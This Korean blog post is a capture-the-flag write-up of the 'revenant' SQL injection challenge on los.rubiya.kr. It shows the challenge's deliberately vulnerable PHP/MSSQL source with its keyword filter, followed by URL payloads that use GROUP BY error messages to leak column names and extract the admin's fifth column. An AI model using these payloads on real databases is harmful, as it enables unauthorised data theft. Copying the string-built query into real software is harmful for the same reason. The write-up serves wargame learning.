| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| 15 | 16 | 17 | 18 | 19 | 20 | 21 |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 |
| 29 | 30 | 31 |
- Forensic 절차
- EER
- 소개딩
- 방명록 만들기
- 인턴 후기
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- DBMS
- mysql
- Database
- 3단계 지역 DB
- 메모리 포랜식
- Layered Architecture
- Django
- 인턴 지원
- riceteacatpanda
- 동읍면 DB
- restapi
- 네이버 인턴
- webhacking 처음
- reversing.kr
- 정보보호병 후기
- JSTL
- frontend
- jsp
- SessionAttribute
- react
- 행정지역 DB
- spring
- 소프트웨어 개발보안 경진대회
- PyAmdecoder
- Today
- Total
웹찢남
revenant-writeup 본문
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
이번 문제는 다섯번쨰 column 값을 얻어야한단다.
group by를 사용해 에러를 만들면 뚝딱!
?id=admin&pw=%27%20group%20by%20pw%20--%20

다음 column이 나온다!! group by 뒤에 나온 column을 하나씩 추가하다 보면 결국
?id=admin&pw=%27%20group%20by%20id,pw,"45a88487","13477a35"%20--%20

5번째 column이 나오게 되고 지난 문제와 같이 값을 얻어보면?
?id=admin&pw=%27%20or%20"9604b0c8">1--%20

값이 나온다! 근데 답이 아니어서 생각을 해보니 admin의 값이 아니어서 CLEAR가 안되는거 같아 쿼리를 바꿔보니?
?id=admin&pw=%27%20or%20id=%27admin%27%20and%20"9604b0c8">1--%20

CLEAR!!!
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
| mummy-writeup (0) | 2020.01.31 |
|---|---|
| yeti-writeup (0) | 2020.01.31 |
| Nessie-writeup (0) | 2020.01.30 |
| poltergeist-writeup (0) | 2020.01.30 |
| banshee-writeup (0) | 2020.01.30 |